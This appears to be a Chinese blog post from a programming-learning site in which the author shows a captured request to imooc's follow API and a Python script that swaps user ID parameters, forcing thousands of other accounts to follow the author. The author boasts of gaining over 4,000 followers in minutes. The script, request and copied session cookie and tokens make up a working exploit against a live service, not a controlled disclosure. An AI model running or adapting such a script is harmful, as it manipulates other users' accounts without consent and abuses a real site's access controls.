哈哈哈哈哈哈哈哈哈哈哈哈,前几天我发现一个,然而其实那个并没有什么实际作用
这个不一样啊!!!
POST /api3/ajaxfollows HTTP/1.1
Host: www.imooc.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=d2qdidok1nt9572qq92h0lqr94; apsid=gzNmI1MWQwNjk4YTQ1NDc4MWU3ZTE4ZDIwZWMxZWYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANDQ3MDY0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNzI5NDE0OTdAcXEuY29tAAAAAAAAAAAAAAAAAAAAADgyZDk0NjkwZGVkNDg2YjFjMDk1YzQzZGJjOTI1ZTcztdsIWLXbCFg=OT
Connection: close
Accept: */*
User-Agent: mukewang/5.0.1 (iPhone; iOS 10.0.2; Scale/3.00)
Accept-Language: zh-Hans-CN;q=1, fr-CN;q=0.9, en-CN;q=0.8
Content-Length: 135
Accept-Encoding: gzip, deflate
secrect=da2f0065d8f74c19c76f297627931da2×tamp=1477540441964&token=217d726d89d63c4ff2ac232db524836d&touid=447064&type=1&uid=2224289
看这个接口,我试过好多接口,那些token的限制都非常严格,唯独这个,哈哈哈!!
touid 是被关注用户的ID,2224289是当前用户的ID,也就是我的ID,将这二者对调,就能实现关注指定用户。。。。
写一个python脚本跑一下。下面就是这个脚本的具体内容,imooc_follow_me.py
#!/usr/bin/env python
#coding=utf-8
#author=ntwu
import threadpool as tp
import requests
import json
fake_headers = {
'Host': 'www.imooc.com',
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': 'PHPSESSID=d2qdidok1nt9572qq92h0lqr94; apsid=gzNmI1MWQwNjk4YTQ1NDc4MWU3ZTE4ZDIwZWMxZWYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANDQ3MDY0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNzI5NDE0OTdAcXEuY29tAAAAAAAAAAAAAAAAAAAAADgyZDk0NjkwZGVkNDg2YjFjMDk1YzQzZGJjOTI1ZTcztdsIWLXbCFg=OT',
'Connection': 'close',
'Accept': '*/*',
'User-Agent': 'mukewang/5.0.1 (iPhone; iOS 10.0.2; Scale/3.00)',
'Accept-Language': 'zh-Hans-CN;q=1, fr-CN;q=0.9, en-CN;q=0.8',
'Content-Length': '135',
'Accept-Encoding': 'gzip, deflate',
}
datas=[]
for i in range(2220000,2224289):
datas.append(i)
def getsource(data):
payload = {
'secrect':'da2f0065d8f74c19c76f297627931da2',
'timestamp':'1477540441964',
'token':'217d726d89d63c4ff2ac232db524836d',
'touid':'447064',
'type':'1',
'uid':data,
}
requests.post("http://www.imooc.com/api3/ajaxfollows",headers=fake_headers,data=payload)
pool = tp.ThreadPool(2) #
reqs = tp.makeRequests(getsource,datas) #
[pool.putRequest(req) for req in reqs] #
pool.wait() #
不到五分钟,我的粉丝多了4000+,,,,我真的不是恶意的,就是友情测试,,,求原谅。。
别封我啊!!我还要在这继续学习呢!!QAQ。。。
点击查看更多内容
3人点赞
评论
共同学习,写下你的评论
评论加载中...
作者其他优质文章
正在加载中
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦